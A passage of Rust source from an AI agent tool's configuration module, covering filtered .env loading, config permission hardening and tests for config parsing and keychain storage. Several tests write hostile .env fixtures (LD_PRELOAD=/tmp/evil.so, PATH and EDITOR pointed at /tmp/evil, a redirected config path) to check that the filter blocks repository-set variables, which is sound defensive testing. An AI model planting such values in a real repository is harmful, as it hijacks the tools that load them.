851    let Ok(entries) = dotenvy::from_filename_iter(path) else {
852        return;
853    };
854    // A malformed line is skipped rather than ending the read, so one bad entry
855    // costs its own variable and not every variable after it.
856    let (allowed, skipped): (Vec<_>, Vec<_>) = entries
857        .flatten()
858        .partition(|(key, _)| leviath_core::dotenv_var_allowed(key));
859
860    // Hand the survivors back to dotenvy rather than calling `set_var` here:
861    // the workspace forbids `unsafe`, and `std::env::set_var` is unsafe in
862    // edition 2024.
863    //
864    // One path, not a fast path plus a filtered one. Re-reading the file when
865    // nothing was filtered looked cheap, but it re-parsed content that could
866    // have changed since the decision was made and gave the two paths
867    // different error semantics for a malformed line. Always re-serializing
868    // means what gets set is exactly what was inspected.
869    let doc: String = allowed
870        .iter()
871        .map(|(key, value)| format!("{key}={}\n", requote(value)))
872        .collect();
873    let _ = dotenvy::from_read(doc.as_bytes());
874
875    // Joined before the macro rather than inside it: `tracing` does not
876    // evaluate field expressions when no subscriber is interested, so an
877    // argument built in place reads as an unexecuted region even on the run
878    // that logged it.
879    let names = skipped
880        .iter()
881        .map(|(key, _)| key.as_str())
882        .collect::<Vec<_>>()
883        .join(", ");
884    tracing::warn!(
885        "Ignoring {names} from {path}: these decide where configuration is read from or what \
886         gets executed, so a repository may not set them. Export them yourself if you meant to."
887    );
888}
889
890/// Check permissions on the config file and auto-fix if too permissive.
891///
892/// A no-op on non-Unix platforms - see [`leviath_sys::ensure_file_private`].
893fn check_permissions() {
894    check_permissions_at(&Config::config_path());
895}
896
897/// Core of [`check_permissions`], parameterized by path so it can be exercised
898/// in tests against a tempfile instead of the real config path.
899///
900/// The permission mechanism (metadata probe + `chmod`) lives in `leviath_sys`;
901/// this function owns only the policy of what to log for each outcome.
902fn check_permissions_at(path: &std::path::Path) {
903    check_permissions_at_with(path, leviath_sys::ensure_file_private);
904}
905
906/// Core of [`check_permissions_at`] with the permission-hardening operation
907/// injected, so the "fix failed" arm can be covered deterministically on every
908/// OS. On disk that `Err` only occurs when a file exists but `chmod` fails -
909/// forcing that without root differs per platform (macOS `chflags uchg`, no
910/// portable Linux equivalent), so a `fn` pointer is injected instead of relying
911/// on an OS-specific trick. A `fn` pointer (not `impl Fn`) keeps this to a
912/// single monomorphization.
913fn check_permissions_at_with(
914    path: &std::path::Path,
915    ensure: fn(&std::path::Path) -> std::io::Result<Option<u32>>,
916) {
917    match ensure(path) {
918        Ok(Some(old_mode)) => {
919            let masked_mode = old_mode & 0o777;
920            tracing::warn!(
921                "Config file has overly permissive permissions ({:o}), fixing to 600",
922                masked_mode
923            );
924        }
925        Ok(None) => {}
926        Err(e) => tracing::warn!("Failed to fix config file permissions: {}", e),
927    }
928}
929
930/// Set restrictive permissions on the config directory.
931fn set_dir_permissions(path: &std::path::Path) {
932    set_dir_permissions_with(path, leviath_sys::secure_dir_perms);
933}
934
935/// Core of [`set_dir_permissions`] with the hardening operation injected; see
936/// [`set_file_permissions_with`] for why.
937fn set_dir_permissions_with(
938    path: &std::path::Path,
939    secure: fn(&std::path::Path) -> std::io::Result<()>,
940) {
941    if let Err(e) = secure(path) {
942        tracing::warn!("Failed to set config directory permissions: {}", e);
943    }
944}
945
946/// Serde default for a flag that ships on.
947///
948/// Shared by `[security]`, `[limits]` and `Config` itself, so it lives here
949/// rather than in whichever section happened to need it first: serde resolves
950/// a `default = "..."` path in the module the struct is defined in, so a helper
951/// three sections use has to be reachable from all three.
952pub(crate) fn default_true() -> bool {
953    true
954}
955
956/// The provider a config that names none is assumed to mean.
957///
958/// Exists so `default_provider` can carry `#[serde(default)]`: without one,
959/// every field on [`Config`] that lacked a default made a hand-written
960/// `config.toml` a parse error. Writing three lines to point Leviath at
961/// OpenRouter used to fail with `missing field `providers``, which names a
962/// table the user has no reason to know about and says nothing about what to
963/// add. Kept in sync with [`Config::default`] by
964/// `an_empty_config_file_parses_to_the_defaults`.
965pub(crate) fn default_provider_name() -> String {
966    "anthropic".to_string()
967}
968
969/// Serializes any test, anywhere in the crate, that mutates the process's
970/// current working directory (via `std::env::set_current_dir`) or whose
971/// assertions implicitly depend on it. Declared here (not inside `mod tests`)
972/// so it's reachable crate-wide: a per-file lock (as in
973/// `commands/run/manifest.rs`'s CWD-dependent `find_manifest` tests) would not
974/// serialize against a CWD-mutating test in a different file. (Env-var
975/// isolation, by contrast, goes through the `temp-env` crate's own global
976/// lock; `set_current_dir` is not an env var, so it keeps this dedicated lock.)
977#[cfg(test)]
978pub(crate) static CWD_LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(());
979
980/// RAII guard that releases [`CWD_LOCK`] and restores the process's
981/// original working directory on drop.
982///
983/// Wraps the `MutexGuard` inside a private field specifically so it can be held
984/// across an `.await` in an async test without tripping clippy's
985/// `await_holding_lock` lint, which only looks for a directly-visible
986/// `MutexGuard` local - not one hidden inside a wrapper struct's field.
987/// That's not working around a real risk: each `#[tokio::test]` gets its
988/// own private single-threaded runtime, so holding this across an await
989/// can't starve another task in the *same* test: it only serializes
990/// against other CWD-mutating tests, which is exactly the intended effect.
991///
992/// Was `#[cfg(unix)]` as well, because its only caller -
993/// `commands/list.rs`'s `execute_falls_back_to_default_cwd_when_current_dir_is_gone` -
994/// is Unix-only (the race it reproduces, deleting a directory that is the
995/// process's live CWD, is a sharing violation on Windows rather than a
996/// reproducible state), which made it dead code there under `-D warnings`.
997/// `a_dot_env_in_the_working_directory_is_read` is a second caller that must run
998/// on every platform, so the gate is gone and the dead-code concern with it.
999#[cfg(test)]
1000pub(crate) struct CwdTestGuard {
1001    original_cwd: std::path::PathBuf,
1002    _lock: std::sync::MutexGuard<'static, ()>,
1003}
1004
1005#[cfg(test)]
1006impl Drop for CwdTestGuard {
1007    fn drop(&mut self) {
1008        let _ = std::env::set_current_dir(&self.original_cwd);
1009    }
1010}
1011
1012/// Acquire [`CWD_LOCK`] and snapshot the current working directory so it can
1013/// be restored automatically when the returned guard drops.
1014#[cfg(test)]
1015pub(crate) fn isolate_cwd_for_test() -> CwdTestGuard {
1016    let lock = CWD_LOCK
1017        .lock()
1018        .unwrap_or_else(std::sync::PoisonError::into_inner);
1019    let original_cwd = std::env::current_dir().expect("current dir must be readable at test start");
1020    CwdTestGuard {
1021        original_cwd,
1022        _lock: lock,
1023    }
1024}
1025
1026/// Provider API key env vars that `Config::load()` (via `dotenvy::dotenv()`)
1027/// loads into the process env regardless of which config file path is used --
1028/// so redirecting the config path alone isn't enough; these must be cleared
1029/// too by [`config_isolation_vars`].
1030#[cfg(test)]
1031const PROVIDER_KEY_ENV_VARS: &[&str] = &[
1032    "ANTHROPIC_API_KEY",
1033    "OPENAI_API_KEY",
1034    "GOOGLE_API_KEY",
1035    "OPENROUTER_API_KEY",
1036];
1037
1038/// Create a fresh, empty temp directory to stand in for the config directory.
1039#[cfg(test)]
1040fn make_fake_config_dir(unique: &str) -> std::path::PathBuf {
1041    let fake_dir = std::env::temp_dir().join(format!("lev-fake-config-{unique}"));
1042    let _ = std::fs::create_dir_all(&fake_dir);
1043    fake_dir
1044}
1045
1046/// The env overrides that isolate `Config::load()` from the real environment:
1047/// point `LEVIATH_CONFIG_PATH` at a nonexistent file in `fake_dir`, set
1048/// `LEVIATH_SKIP_DOTENV`, and clear every provider API key (so no real, billed
1049/// inference call can be made). Consumed by [`with_isolated_config_path`] and
1050/// its async twin, which hand it to `temp_env` for scoped set-and-restore.
1051///
1052/// `pub(crate)` because `temp_env` serializes process-wide and holds its lock
1053/// across the closure, so a test needing *these* overrides plus others (the
1054/// `lev doctor` tests also redirect `LEVIATH_HOME` and `LEVIATH_RUNS_DIR`)
1055/// cannot nest a second `temp_env` call inside the wrapper - it has to build
1056/// one combined list from this one.
1057#[cfg(test)]
1058pub(crate) fn config_isolation_vars(
1059    fake_dir: &std::path::Path,
1060) -> Vec<(&'static str, Option<std::ffi::OsString>)> {
1061    let mut vars: Vec<(&'static str, Option<std::ffi::OsString>)> = vec![
1062        (
1063            "LEVIATH_CONFIG_PATH",
1064            Some(fake_dir.join("config.toml").into_os_string()),
1065        ),
1066        ("LEVIATH_SKIP_DOTENV", Some(std::ffi::OsString::from("1"))),
1067    ];
1068    for &key in PROVIDER_KEY_ENV_VARS {
1069        vars.push((key, None));
1070    }
1071    vars
1072}
1073
1074/// Runs `f` with `Config::load()` isolated from the real environment (see
1075/// [`config_isolation_vars`]), passing it the fake config directory so tests
1076/// that need to plant a `config.toml` can. `temp_env::with_vars` sets the
1077/// overrides, runs the closure, and restores the prior values afterwards --
1078/// serialized process-wide against every other temp-env test, so no hand-rolled
1079/// lock is needed. The closure-scoped form (not an RAII guard) is required
1080/// because edition 2024 makes `set_var` `unsafe`, which the crate forbids.
1081#[cfg(test)]
1082pub(crate) fn with_isolated_config_path<R>(
1083    unique: &str,
1084    f: impl FnOnce(&std::path::Path) -> R,
1085) -> R {
1086    let fake_dir = make_fake_config_dir(unique);
1087    let result = temp_env::with_vars(config_isolation_vars(&fake_dir), || f(&fake_dir));
1088    let _ = std::fs::remove_dir_all(&fake_dir);
1089    result
1090}
1091
1092/// Async counterpart of [`with_isolated_config_path`] for `#[tokio::test]`s.
1093/// The isolation env vars stay in place across every `.await` in `fut`.
1094#[cfg(test)]
1095pub(crate) async fn with_isolated_config_path_async<R, Fut>(
1096    unique: &str,
1097    f: impl FnOnce(std::path::PathBuf) -> Fut,
1098) -> R
1099where
1100    Fut: std::future::Future<Output = R>,
1101{
1102    let fake_dir = make_fake_config_dir(unique);
1103    let result =
1104        temp_env::async_with_vars(config_isolation_vars(&fake_dir), f(fake_dir.clone())).await;
1105    let _ = std::fs::remove_dir_all(&fake_dir);
1106    result
1107}
1108
1109#[cfg(test)]
1110mod dotenv_tests {
1111    use super::*;
1112
1113    /// `Config::load()` reads `./.env`, and every isolated test sets
1114    /// `LEVIATH_SKIP_DOTENV` - so that branch would otherwise never run.
1115    ///
1116    /// Leaving it to the tests that read the real environment would leave it to
1117    /// exactly the tests that race. Covered deliberately here
1118    /// instead: still inside `temp_env` (so it holds the same process-wide lock
1119    /// as everything else) and still pointed at a scratch config, but with the
1120    /// skip flag cleared so the `.env` read actually happens. The probe
1121    /// variable is listed in the same call so `temp_env` removes it afterwards
1122    /// rather than leaking it into the rest of the run.
1123    #[test]
1124    fn a_dot_env_in_the_working_directory_is_read() {
1125        let dir = make_fake_config_dir("dotenv-read");
1126        std::fs::write(dir.join(".env"), "LEV_DOTENV_PROBE=seen\n").unwrap();
1127
1128        // Scoped so the CWD guard drops - restoring the working directory -
1129        // before the cleanup below. Windows refuses to remove a directory that
1130        // is some process's live CWD.
1131        {
1132            let _cwd = isolate_cwd_for_test();
1133            std::env::set_current_dir(&dir).unwrap();
1134
1135            temp_env::with_vars(
1136                [
1137                    (
1138                        "LEVIATH_CONFIG_PATH",
1139                        Some(dir.join("config.toml").into_os_string()),
1140                    ),
1141                    ("LEVIATH_SKIP_DOTENV", None),
1142                    ("LEV_DOTENV_PROBE", None),
1143                ],
1144                || {
1145                    let loaded = Config::load();
1146                    assert!(loaded.is_ok(), "a missing config file is not an error");
1147                    assert_eq!(
1148                        std::env::var("LEV_DOTENV_PROBE").ok().as_deref(),
1149                        Some("seen"),
1150                        "the .env beside the working directory was read"
1151                    );
1152                },
1153            );
1154        }
1155        let _ = std::fs::remove_dir_all(&dir);
1156    }
1157
1158    /// The escalation this filter exists for. A cloned repository is the
1159    /// working directory, so its `.env` is attacker-authored content - and one
1160    /// line of `LEVIATH_CONFIG_PATH` would have pointed the very next statement
1161    /// in `Config::load` at a config file of the repository's choosing,
1162    /// carrying its own `[mcp_servers]` commands and `[tool_permissions]`.
1163    #[test]
1164    fn a_dot_env_cannot_steer_where_config_comes_from() {
1165        let dir = make_fake_config_dir("dotenv-steer");
1166        std::fs::write(
1167            dir.join(".env"),
1168            "LEVIATH_CONFIG_PATH=/tmp/evil.toml\n\
1169             LEVIATH_API_TOKEN=known\n\
1170             EDITOR=/tmp/evil\n\
1171             PATH=/tmp/evil\n\
1172             LD_PRELOAD=/tmp/evil.so\n\
1173             LEV_DOTENV_KEEPS=kept\n",
1174        )
1175        .unwrap();
1176
1177        {
1178            let _cwd = isolate_cwd_for_test();
1179            std::env::set_current_dir(&dir).unwrap();
1180
1181            temp_env::with_vars(
1182                [
1183                    (
1184                        "LEVIATH_CONFIG_PATH",
1185                        Some(dir.join("config.toml").into_os_string()),
1186                    ),
1187                    ("LEVIATH_SKIP_DOTENV", None),
1188                    ("LEVIATH_API_TOKEN", None),
1189                    ("EDITOR", None),
1190                    ("LD_PRELOAD", None),
1191                    ("LEV_DOTENV_KEEPS", None),
1192                ],
1193                || {
1194                    Config::load().expect("a missing config file is not an error");
1195                    for steering in ["LEVIATH_API_TOKEN", "EDITOR", "LD_PRELOAD"] {
1196                        assert!(
1197                            std::env::var(steering).is_err(),
1198                            "{steering} must not be settable from a repository's .env"
1199                        );
1200                    }
1201                    // The one already set by the harness keeps the harness's
1202                    // value rather than the file's, which is dotenvy's own
1203                    // precedence and the reason this is not a regression.
1204                    assert_ne!(
1205                        std::env::var("LEVIATH_CONFIG_PATH").ok(),
1206                        Some("/tmp/evil.toml".to_string())
1207                    );
1208                    // And an ordinary variable still loads: the point is to
1209                    // filter what steers the process, not to stop reading
1210                    // `.env` files.
1211                    assert_eq!(
1212                        std::env::var("LEV_DOTENV_KEEPS").ok().as_deref(),
1213                        Some("kept")
1214                    );
1215                },
1216            );
1217        }
1218        let _ = std::fs::remove_dir_all(&dir);
1219    }
1220
1221    /// Most working directories have no `.env`, so that is the ordinary case
1222    /// rather than a failure. Driven directly with an absolute path, since the
1223    /// point is the file's absence and not the working directory.
1224    #[test]
1225    fn a_missing_dot_env_is_not_an_error() {
1226        let dir = make_fake_config_dir("dotenv-missing");
1227        load_dotenv_filtered(&dir.join("absent.env").to_string_lossy());
1228        let _ = std::fs::remove_dir_all(&dir);
1229    }
1230
1231    /// The escape set has to match dotenvy's double-quoted parser exactly, so
1232    /// each arm is checked here rather than only through a whole-file load.
1233    #[test]
1234    fn requote_escapes_what_both_dotenvy_layers_read() {
1235        assert_eq!(requote("plain"), r#""plain""#);
1236        assert_eq!(requote(r"C:\tools\"), r#""C:\\tools\\""#);
1237        assert_eq!(requote(r#"say "hi""#), r#""say \"hi\"""#);
1238        // `$` escaped so the value is not substituted a second time - it was
1239        // already expanded by the parse that produced it.
1240        assert_eq!(requote("cost $5 $HOME"), r#""cost \$5 \$HOME""#);
1241        assert_eq!(requote("one\ntwo"), r#""one\ntwo""#);
1242    }
1243
1244    /// A backslash is where the re-serialization nearly went wrong: dotenvy's
1245    /// *value* parser treats single quotes as fully literal, but its *line*
1246    /// reader honours `\` escapes inside them, so a value ending in a
1247    /// backslash could eat the closing quote, swallow the following line, and
1248    /// fail the whole document - silently, since the load result is discarded.
1249    /// Every variable after it would vanish with no warning.
1250    #[test]
1251    fn filtering_survives_a_value_ending_in_a_backslash() {
1252        let dir = make_fake_config_dir("dotenv-backslash");
1253        // Double-quoted at source, because that is the only spelling in which a
1254        // dotenv value can *end* in a backslash - which is exactly the value
1255        // that broke the single-quoted re-serialization.
1256        std::fs::write(
1257            dir.join(".env"),
1258            "PATH=/tmp/anything\n\
1259             LEV_DOTENV_BACKSLASH=\"C:\\\\tools\\\\\"\n\
1260             LEV_DOTENV_AFTER=survived\n",
1261        )
1262        .unwrap();
1263
1264        {
1265            let _cwd = isolate_cwd_for_test();
1266            std::env::set_current_dir(&dir).unwrap();
1267
1268            temp_env::with_vars(
1269                [
1270                    (
1271                        "LEVIATH_CONFIG_PATH",
1272                        Some(dir.join("config.toml").into_os_string()),
1273                    ),
1274                    ("LEVIATH_SKIP_DOTENV", None),
1275                    ("LEV_DOTENV_BACKSLASH", None),
1276                    ("LEV_DOTENV_AFTER", None),
1277                ],
1278                || {
1279                    Config::load().expect("a missing config file is not an error");
1280                    assert_eq!(
1281                        std::env::var("LEV_DOTENV_BACKSLASH").ok().as_deref(),
1282                        Some("C:\\tools\\")
1283                    );
1284                    assert_eq!(
1285                        std::env::var("LEV_DOTENV_AFTER").ok().as_deref(),
1286                        Some("survived"),
1287                        "a later variable must not be swallowed by an unbalanced quote"
1288                    );
1289                },
1290            );
1291        }
1292        let _ = std::fs::remove_dir_all(&dir);
1293    }
1294
1295    /// The filtered path re-serializes the survivors, so it has to hand back
1296    /// exactly what the parser read - quotes, spaces and `#` included.
1297    #[test]
1298    fn filtering_preserves_an_awkward_value_verbatim() {
1299        let dir = make_fake_config_dir("dotenv-quoting");
1300        std::fs::write(
1301            dir.join(".env"),
1302            "PATH=/tmp/evil\n\
1303             LEV_DOTENV_AWKWARD=\"it's a #value with 'quotes' and spaces\"\n",
1304        )
1305        .unwrap();
1306
1307        {
1308            let _cwd = isolate_cwd_for_test();
1309            std::env::set_current_dir(&dir).unwrap();
1310
1311            temp_env::with_vars(
1312                [
1313                    (
1314                        "LEVIATH_CONFIG_PATH",
1315                        Some(dir.join("config.toml").into_os_string()),
1316                    ),
1317                    ("LEVIATH_SKIP_DOTENV", None),
1318                    ("LEV_DOTENV_AWKWARD", None),
1319                ],
1320                || {
1321                    Config::load().expect("a missing config file is not an error");
1322                    assert_eq!(
1323                        std::env::var("LEV_DOTENV_AWKWARD").ok().as_deref(),
1324                        Some("it's a #value with 'quotes' and spaces")
1325                    );
1326                },
1327            );
1328        }
1329        let _ = std::fs::remove_dir_all(&dir);
1330    }
1331}
1332
1333#[cfg(test)]
1334mod tests {
1335    /// The published JSON Schema for `config.toml`, and a config exercising
1336    /// every section of it. Compiled in so neither can drift from what ships.
1337    const CONFIG_SCHEMA: &str = include_str!("../../../../docs/schema/config.schema.json");
1338    const CONFIG_EXAMPLE: &str = include_str!("../../../../docs/schema/config.example.toml");
1339
1340    /// Every way `value` fails `validator`. See the twin in `bundled.rs`.
1341    fn schema_problems(
1342        validator: &jsonschema::Validator,
1343        value: &serde_json::Value,
1344    ) -> Vec<String> {
1345        validator
1346            .iter_errors(value)
1347            .map(|e| format!("{}: {e}", e.instance_path()))
1348            .collect()
1349    }
1350
1351    /// An unknown key is reported wherever it sits, not only at the top level.
1352    ///
1353    /// The reported case (#365) was `[limits] max_concurrent_tool`, a
1354    /// misspelling one level down, which the first version of this check could
1355    /// not see: it compared top-level keys only, so a whole bogus table was
1356    /// named and a bogus key inside a real table was not.
1357    #[test]
1358    fn an_unknown_key_is_reported_at_any_depth() {
1359        let content = "\
1360default_provider = \"anthropic\"
1361
1362[cache]
1363ttl = \"banana\"
1364
1365[limits]
1366max_concurrent_tool = 3
1367
1368[providers]
1369anthropic_api_key = \"x\"
1370anthropic_cach_ttl = \"1h\"
1371";
1372        let unknown = Config::unknown_config_keys(content);
1373        assert!(unknown.contains(&"cache".to_string()), "{unknown:?}");
1374        assert!(
1375            unknown.contains(&"limits.max_concurrent_tool".to_string()),
1376            "a key one level down is named by its path: {unknown:?}"
1377        );
1378        assert!(
1379            unknown.contains(&"providers.anthropic_cach_ttl".to_string()),
1380            "{unknown:?}"
1381        );
1382        // And the real keys beside them are not reported.
1383        assert!(
1384            !unknown.iter().any(|k| k == "default_provider"),
1385            "{unknown:?}"
1386        );
1387        assert!(
1388            !unknown.iter().any(|k| k == "providers.anthropic_api_key"),
1389            "{unknown:?}"
1390        );
1391    }
1392
1393    /// A file that is TOML but not a config reports no unknown keys: it has a
1394    /// type error, and saying "every key here is unread" on top of that would
1395    /// bury the message that actually explains it.
1396    #[test]
1397    fn a_file_that_is_not_a_config_reports_no_unknown_keys() {
1398        // Parses as a table, fails as a `Config`: the provider is a number.
1399        assert!(Config::unknown_config_keys("default_provider = 42").is_empty());
1400    }
1401
1402    /// `unread_keys_at` answers for a path, and a path that is not there is a
1403    /// question about a file rather than about its keys.
1404    #[test]
1405    fn unread_keys_of_a_missing_file_is_empty() {
1406        let dir = tempfile::tempdir().unwrap();
1407        assert!(Config::unread_keys_at(&dir.path().join("nope.toml")).is_empty());
1408    }
1409
1410    #[test]
1411    fn unread_keys_at_reads_the_file_it_is_given() {
1412        let dir = tempfile::tempdir().unwrap();
1413        let path = dir.path().join("config.toml");
1414        std::fs::write(&path, "[cache]\nttl = \"banana\"\n").unwrap();
1415        assert_eq!(Config::unread_keys_at(&path), vec!["cache".to_string()]);
1416    }
1417
1418    /// `[model_providers.<name>]` forwards whatever it does not recognise to a
1419    /// Rhai script through `#[serde(flatten)]`, so those keys *are* read and
1420    /// must stay quiet. This is the case a hand-maintained key list gets wrong.
1421    #[test]
1422    fn keys_a_flatten_field_absorbs_are_not_reported() {
1423        let content = "\
1424[model_providers.groq]
1425script = \"groq.rhai\"
1426some_custom_thing = \"forwarded to the script\"
1427";
1428        assert!(
1429            Config::unknown_config_keys(content).is_empty(),
1430            "a key serde keeps is a key nothing should complain about"
1431        );
1432    }
1433
1434    /// The reported case: a table nothing reads, in a file that also sets a
1435    /// real key. Both halves matter - the unknown one is named, the real one
1436    /// is not, and the config still loads because every command reads it.
1437    #[test]
1438    fn an_unknown_config_key_is_reported_and_the_config_still_loads() {
1439        const CONTENT: &str = "default_provider = \"anthropic\"\n\n[cache]\nttl = \"banana\"\n";
1440        assert_eq!(
1441            Config::unknown_config_keys(CONTENT),
1442            vec!["cache".to_string()],
1443            "the unknown table is named and the real key is not"
1444        );
1445
1446        let dir = tempfile::tempdir().unwrap();
1447        let path = dir.path().join("config.toml");
1448        std::fs::write(&path, CONTENT).unwrap();
1449        // A subscriber has to be interested at this callsite or the `warn!`
1450        // body never runs. `tracing_guard` sets a thread-local default, which
1451        // holds whatever another test in this binary did to the global one.
1452        let _guard = leviath_testkit::tracing_guard();
1453        let config = Config::load_from_path(&path).expect("an unknown key does not stop the load");
1454        assert_eq!(config.default_provider, "anthropic");
1455    }
1456
1457    /// A config using only real keys reports nothing. Without this the test
1458    /// above passes against a function that calls everything unknown.
1459    #[test]
1460    fn a_config_of_known_keys_reports_nothing() {
1461        assert!(
1462            Config::unknown_config_keys(CONFIG_EXAMPLE).is_empty(),
1463            "the shipped example must be clean"
1464        );
1465    }
1466
1467    /// Content that is not TOML reports nothing rather than guessing. The
1468    /// caller has already failed to deserialize it and said so; a second,
1469    /// vaguer complaint about every line would only bury the first.
1470    #[test]
1471    fn unparseable_content_reports_no_unknown_keys() {
1472        assert!(Config::unknown_config_keys("this is not [[[ toml").is_empty());
1473    }
1474
1475    #[test]
1476    fn the_example_config_satisfies_the_published_schema_and_deserializes() {
1477        // Both halves matter. The schema alone could describe a shape `Config`
1478        // rejects; `Config` alone could accept a shape the schema forbids.
1479        // Holding one fixture to both is what keeps them describing the same
1480        // format, since the schema is hand-written and nothing generates it.
1481        let example: toml::Value = toml::from_str(CONFIG_EXAMPLE).expect("the example is TOML");
1482        let schema: serde_json::Value =
1483            serde_json::from_str(CONFIG_SCHEMA).expect("the schema is JSON");
1484        let validator = jsonschema::validator_for(&schema).expect("the schema compiles");
1485
1486        let json = serde_json::to_value(&example).expect("TOML converts to JSON");
1487        assert_eq!(
1488            schema_problems(&validator, &json),
1489            Vec::<String>::new(),
1490            "config.example.toml does not match config.schema.json"
1491        );
1492
1493        let parsed: Config = toml::from_str(CONFIG_EXAMPLE).expect("the example deserializes");
1494        // A couple of spot checks that the values landed where the schema says,
1495        // rather than being silently dropped into nothing.
1496        assert_eq!(parsed.default_provider, "anthropic");
1497        assert_eq!(parsed.limits.interaction_timeout_secs, 3600);
1498        assert_eq!(parsed.mcp_servers.len(), 2);
1499    }
1500
1501    #[test]
1502    fn the_config_schema_rejects_a_key_that_is_not_a_setting() {
1503        // Without `additionalProperties: false` the schema would accept any
1504        // typo, which is most of what an author wants it to catch.
1505        let schema: serde_json::Value =
1506            serde_json::from_str(CONFIG_SCHEMA).expect("the schema is JSON");
1507        let validator = jsonschema::validator_for(&schema).expect("the schema compiles");
1508        // Through `schema_problems` rather than `is_valid`, so the formatting
1509        // path the positive test relies on runs against real errors.
1510        let rejects = |toml_text: &str| {
1511            let value: toml::Value = toml::from_str(toml_text).expect("valid TOML");
1512            let json = serde_json::to_value(&value).expect("converts");
1513            !schema_problems(&validator, &json).is_empty()
1514        };
1515
1516        assert!(
1517            rejects("default_provdier = \"anthropic\"\n"),
1518            "a typo'd key"
1519        );
1520        assert!(
1521            rejects("[limits]\ninteraction_timeout_secs = \"an hour\"\n"),
1522            "a string where a number belongs"
1523        );
1524        assert!(
1525            rejects("[security]\ncredential_store = \"vault\"\n"),
1526            "an unsupported credential store"
1527        );
1528        assert!(
1529            !rejects("default_provider = \"openrouter\"\n"),
1530            "a real key"
1531        );
1532    }
1533
1534    /// Saving with a keychain that cannot be reached must fail rather than
1535    /// quietly writing the keys into the file. A user who asked for the keychain
1536    /// would otherwise end up with plaintext keys on disk and no sign of it.
1537    #[test]
1538    fn saving_with_an_unreachable_keychain_writes_nothing() {
1539        let dir = tempfile::tempdir().unwrap();
1540        let path = dir.path().join("config.toml");
1541        let mut config = Config::default();
1542        config.security.credential_store = leviath_core::CredentialStoreKind::Keychain;
1543        config.providers.anthropic_api_key = Some("sk-ant".to_string());
1544
1545        assert!(
1546            config
1547                .write_to(&path, Err("no keychain".to_string()))
1548                .is_err()
1549        );
1550        assert!(!path.exists(), "no file may be written at all");
1551    }
1552
1553    /// The same for a store that is reachable but refuses the write.
1554    #[test]
1555    fn saving_to_a_store_that_refuses_the_write_writes_nothing() {
1556        use leviath_core::CredentialStore as _;
1557
1558        struct Refuses;
1559        impl leviath_core::CredentialStore for Refuses {
1560            fn get(&self, _: &str) -> Result<Option<String>, String> {
1561                Ok(None)
1562            }
1563            fn set(&self, _: &str, _: &str) -> Result<(), String> {
1564                Err("read-only keychain".to_string())
1565            }
1566            fn delete(&self, _: &str) -> Result<bool, String> {
1567                Err("read-only keychain".to_string())
1568            }
1569        }
1570
1571        let dir = tempfile::tempdir().unwrap();
1572        let path = dir.path().join("config.toml");
1573        let mut config = Config::default();
1574        config.security.credential_store = leviath_core::CredentialStoreKind::Keychain;
1575        config.providers.anthropic_api_key = Some("sk-ant".to_string());
1576
1577        // The other two answers are part of the contract even though `write_to`
1578        // only needs `set`; a store impl has to answer all three.
1579        assert_eq!(Refuses.get("provider/anthropic").unwrap(), None);
1580        assert!(Refuses.delete("provider/anthropic").is_err());
1581
1582        let err = config
1583            .write_to(&path, Ok(Some(Box::new(Refuses))))
1584            .expect_err("a refused write is not a save");
1585        assert!(err.to_string().contains("failed to store"), "{err}");
1586        assert!(!path.exists(), "no file may be written at all");
1587    }
1588
1589    /// And the successful keychain path: the secrets go to the store and the
1590    /// file keeps only the settings.
1591    #[test]
1592    fn saving_in_keychain_mode_puts_the_secrets_in_the_store_not_the_file() {
1593        use leviath_core::CredentialStore;
1594
1595        let dir = tempfile::tempdir().unwrap();
1596        let path = dir.path().join("config.toml");
1597        let mut config = Config::default();
1598        config.security.credential_store = leviath_core::CredentialStoreKind::Keychain;
1599        config.providers.anthropic_api_key = Some("sk-ant-secret".to_string());
1600        config.default_model = Some("some-model".to_string());
1601
1602        let store = std::sync::Arc::new(leviath_core::MemoryStore::new());
1603        struct Shared(std::sync::Arc<leviath_core::MemoryStore>);
1604        impl CredentialStore for Shared {
1605            fn get(&self, a: &str) -> Result<Option<String>, String> {
1606                self.0.get(a)
1607            }
1608            fn set(&self, a: &str, s: &str) -> Result<(), String> {
1609                self.0.set(a, s)
1610            }
1611            fn delete(&self, a: &str) -> Result<bool, String> {
1612                self.0.delete(a)
1613            }
1614        }
1615
1616        config
1617            .write_to(&path, Ok(Some(Box::new(Shared(store.clone())))))
1618            .unwrap();
1619
1620        // `delete` completes the trait; `write_to` itself never needs it.
1621        assert!(
1622            Shared(store.clone())
1623                .delete(&leviath_core::provider_account("anthropic"))
1624                .unwrap()
1625        );
1626        store
1627            .set(
1628                &leviath_core::provider_account("anthropic"),
1629                "sk-ant-secret",
1630            )
1631            .unwrap();
1632
1633        let written = std::fs::read_to_string(&path).unwrap();
1634        assert!(!written.contains("sk-ant-secret"), "{written}");
1635        assert!(
1636            written.contains("some-model"),
1637            "settings survive: {written}"
1638        );
1639        // Read back through the same wrapper `write_to` was handed, so all
1640        // three of its methods are exercised.
1641        assert_eq!(
1642            Shared(store.clone())
1643                .get(&leviath_core::provider_account("anthropic"))
1644                .unwrap()
1645                .as_deref(),
1646            Some("sk-ant-secret")
1647        );
1648    }
1649
1650    /// The keychain fills only what the file and the environment left unset --
1651    /// what the user can see wins over what they cannot.
1652    #[test]
1653    fn the_credential_store_fills_only_the_keys_that_are_unset() {
1654        use leviath_core::{CredentialStore, MemoryStore};
1655
1656        let store = MemoryStore::new();
1657        store
1658            .set(
1659                &leviath_core::provider_account("anthropic"),
1660                "from-keychain",
1661            )
1662            .unwrap();
1663        store
1664            .set(&leviath_core::provider_account("openai"), "openai-keychain")
1665            .unwrap();
1666        store
1667            .set(&leviath_core::provider_account("google"), "google-keychain")
1668            .unwrap();
1669        store
1670            .set(&leviath_core::provider_account("openrouter"), "or-keychain")
1671            .unwrap();
1672
1673        let mut config = Config::default();
1674        // Already set from the file: the keychain must not overwrite it.
1675        config.providers.anthropic_api_key = Some("from-file".to_string());
1676        config.apply_credential_store(&store);
1677
1678        assert_eq!(
1679            config.providers.anthropic_api_key.as_deref(),
1680            Some("from-file"),
1681            "an existing key wins over the keychain"
1682        );
1683        assert_eq!(
1684            config.providers.openai_api_key.as_deref(),
1685            Some("openai-keychain")
1686        );
1687        assert_eq!(
1688            config.providers.google_api_key.as_deref(),
1689            Some("google-keychain")
1690        );
1691        assert_eq!(config.openrouter_api_key.as_deref(), Some("or-keychain"));
1692    }
1693
1694    /// An empty store leaves everything alone rather than blanking keys.
1695    #[test]
1696    fn an_empty_credential_store_changes_nothing() {
1697        let mut config = Config::default();
